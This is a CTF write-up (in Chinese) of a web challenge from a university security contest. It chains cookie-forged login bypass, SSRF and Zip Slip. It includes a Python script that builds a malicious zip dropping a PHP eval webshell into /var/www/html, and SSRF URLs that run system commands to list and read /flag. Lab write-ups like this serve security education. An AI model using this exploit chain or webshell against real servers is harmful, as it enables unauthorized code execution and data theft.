题目来源:第十九届全国大学生信息安全竞赛(创新实践能力赛)暨第三届“长城杯”网数智安全大赛(防护赛) 半决赛
一、附件分析 题目给了 Docker Compose 配置文件 docker-compose.yaml,其内容:
services: web: build: . container_name: question-web ports: - "5000:5000" expose: - "80" environment: - PYTHONUNBUFFERED=1 - PYTHONDONTWRITEBYTECODE=1 - DB_PATH=/data/app.db volumes: - appdata:/data read_only: true tmpfs: - /tmp:rw,nosuid,nodev,noexec,size=64m - /app/uploads:rw,nosuid,nodev,noexec,size=128m,mode=0755 - /app/plugins:rw,nosuid,nodev,noexec,size=128m,mode=0755 - /app/static/uploads:rw,nosuid,nodev,noexec,size=128m,mode=0755 - /var/run/apache2:rw,nosuid,nodev,noexec,size=16m - /var/lock/apache2:rw,nosuid,nodev,noexec,size=16m restart: unless-stopped volumes: appdata:
从中我们可以得到一个关键信息:容器监听了 80 端口,但是这个端口并不会直接暴露给宿主机(不能直接通过“主机IP:80”进行访问),这可能意味着本题可能会用到 SSRF。
二、浏览页面 + 源码辅助分析 1、登入界面 访问:127.0.0.1:5000
页面会重定向到 /login,查看源码逻辑:
@app.route('/' ) def home (): if is_logged_in(): return flask.redirect(flask.url_for("dashboard" )) return flask.redirect(flask.url_for("login" ))
通过 is_logged_in() 函数决定跳转到哪个页面,查看该函数的逻辑;
def is_logged_in () -> bool : return flask.request.cookies.get("visited" ) == "yes" and bool (flask.request.cookies.get("user" ))
发现问题!它简单地通过 Cookie 中的两个参数决定用户是否已经登入,我们只需要伪造 Cookie 成:
Cookie : visited=yes;user=admin
即可绕过登入验证。
需要注意的坑点是,检验是在根目录即 127.0.0.1:5000/ 而不是在登入界面 127.0.0.1:5000/login,因此要抓的包是在根目录抓的:
因为源码中定义了装饰器 login_required:
def login_required (view ): def wrapped (*args, **kwargs ): if not is_logged_in(): next_url = flask.request.full_path if flask.request.query_string else flask.request.path return flask.redirect(flask.url_for("login" , next =next_url)) return view(*args, **kwargs) wrapped.__name__ = view.__name__ return wrapped
后续主界面的函数都被装饰器修饰:
@app.route("/dashboard" ) @login_required …… @app.route('/plugin/upload' , methods=['GET' , 'POST' ] ) @login_required …… ……
因此,后续操作都有 Cookie 的验证,若没有则会重返登入界面。
为了操作方便,可以使用 Burp 的 Session Handling Rules 功能。
首先,进入 Settings → Sessions → Session Handling Rules
点击 Add 新建一条规则,在 Rule Actions 中点击 Add → Set a specific cookie or parameter value 填写:
Name :Cookie 名称
Value :Cookie 的值
还需要勾选下方的“If not ……”,并选择“cookie”,这意味着如果请求头的 Cookie 中如果没有该字段,则会自动添加。
同理,设置另外一个:
切换到 Scope 标签页,设置该规则作用的工具范围(Proxy、Repeater、Scanner 等)和 URL 范围
点击 OK 保存。
现在,我们访问任何页面,Burp 都会帮我们带上指定的 Cookie了。
当然,这里还要另一种做法,也就是 MD5 碰撞,因为登入判断逻辑写在了源代码而不是数据库中:
@app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if flask.request.method == 'POST' : username = flask.request.form.get('username' , '' ) password = flask.request.form.get('password' , '' ) h1 = hashlib.md5(password.encode('utf-8' )).hexdigest() h2 = hashlib.md5(h1.encode('utf-8' )).hexdigest() next_url = flask.request.args.get("next" ) or flask.url_for("dashboard" ) if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde" : resp = flask.make_response(flask.redirect(next_url)) resp.set_cookie('visited' , 'yes' , httponly=True , samesite='Lax' ) resp.set_cookie('user' , username, httponly=True , samesite='Lax' ) return resp return flask.render_template('login.html' , error='用户名或密码错误' , username=username), 401 return flask.render_template('login.html' , error=None , username='' )
用户名:admin
密码需要其哈希值与“7022cd14c42ff272619d6beacdc9ffde”相等
在 CMD5 上查询该值:
得到密码为 secret。
2、About 还记得在看 YAML 文件时候得到的结论吗?(SSRF)
带着这个问题,我们可以看到 /about 页面的“头像远程 URL”的功能:
尝试访问 80 端口,得到回显:
也就是说,存在 SSRF 漏洞,对应代码:
def fetch_remote_avatar_info (url: str ): if not url: return None parsed = urllib.parse.urlparse(url) if parsed.scheme not in {"http" , "https" }: return None if not parsed.hostname: return None req = urllib.request.Request(url, method="GET" , headers={"User-Agent" : "question-app/1.0" }) try : with urllib.request.urlopen(req, timeout=3 ) as resp: content = resp.read() return { "content_snippet" : content, "status" : getattr (resp, "status" , None ), "content_type" : resp.headers.get("Content-Type" , "" ), "content_length" : resp.headers.get("Content-Length" , "" ), } except Exception: return None
仅校验协议是否为 http、https,并没校验访问的地址,而且还将访问后的结果(content)返回了,并传作为模板引擎的上下文。
remote_info=fetch_remote_avatar_info(avatar_url)
通过模板引擎渲染给用户:
{% if remote_info %} <div style ="margin-top:8px; font-size:12px; opacity:.85;" > 远程信息: <code > type={{ remote_info.content_type or '?' }}</code > <code > len={{ remote_info.content_length or '?' }}</code > <code > len={{ remote_info.content_snippet or '?' }}</code > </div > {% endif %}
尝试读取一些常见的存放 flag 的目录:
但是并没有结果。
于是想着:我们是否可以通过文件上传,上传木马文件,访问后获取 WebShell 呢?
3、文件上传 存在文件上传的地方共有两处,一个是 http://127.0.0.1:5000/plugin/upload,另一个是 http://127.0.0.1:5000/about,分别审查代码后发现,插件上传的地方存在 Zip Slip 漏洞:
@app.route('/plugin/upload' , methods=['GET' , 'POST' ] ) @login_required def upload_plugin (): if flask.request.method == 'GET' : return flask.render_template('plugin_upload.html' , error=None , ok=None , files=None ) file = flask.request.files.get('plugin' ) if not file or not file.filename: return flask.render_template('plugin_upload.html' , error='请选择一个 zip 文件' , ok=None , files=None ), 400 filename = secure_filename(file.filename) if not filename.lower().endswith('.zip' ): return flask.render_template('plugin_upload.html' , error='仅支持 .zip 文件' , ok=None , files=None ), 400 saved = UPLOAD_DIR / f"{uuid4().hex } -{filename} " file.save(saved) dest = PLUGIN_DIR / f"{Path(filename).stem} -{uuid4().hex [:8 ]} " dest.mkdir(parents=True , exist_ok=True ) try : print (saved, dest) extracted = safe_upload(saved, dest) except Exception: shutil.rmtree(dest, ignore_errors=True ) return flask.render_template('plugin_upload.html' , error='解压失败:压缩包内容不合法' , ok=None , files=None ), 400 return flask.render_template('plugin_upload.html' , error=None , ok='上传并解压成功' , files=extracted)
def safe_upload (zip_path: Path, dest_dir: Path ) -> list [str ]: with zipfile.ZipFile(zip_path, 'r' ) as z: for info in z.infolist(): target = os.path.join(dest_dir, info.filename) if info.is_dir(): os.makedirs(target, exist_ok=True ) else : os.makedirs(os.path.dirname(target), exist_ok=True ) with open (target, 'wb' ) as f: f.write(z.read(info.filename))
safe_upload 中,将压缩包中的条目一一取出(for info in z.infolist()),将路径拼接(os.path.join(dest_dir, info.filename))之后,未对 target 进行校验,就直接写入指定目录中。
用 Python 构造恶意 Zip:
import zipfileimport iozip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w' , zipfile.ZIP_DEFLATED) as zf: zf.writestr("../../../var/www/html/shell.php" , b"<?php @eval($_GET[1]); ?>" ) with open ("payload.zip" , "wb" ) as f: f.write(zip_buffer.getvalue())
为什么用“../../../var/www/html/shell.php”作为文件条目呢?
原因有:
前面的“../”是为了利用 Zip Slip 实现目录穿越,写木马于指定目录
目标为“/var/www/html”是因为:
80 端口起的是 Apache,默认工作目录就是 /var/www/html(而且在Dockerfile 中也有体现)
我们的最终目的是通过 SSRF 访问 80 端口下的木马文件(shell.php)
将生成的 payload.zip 上传。
经服务器一解压,一存放,在指定目录下就有了一句话木马文件(shell.php)。
三、WebShell 通过 SSRF 访问木马文件,并与之交互得到信息。
测试:
测试成功,木马可用,接下来就是查找文件了,看看根目录下有没有文件:
http://127.0.0.1/shell.php?1=system('ls%20/');
发现 flag 就在根目录下,直接读取:
http://127.0.0.1/shell.php?1=system('cat%20/flag');
得到 flag: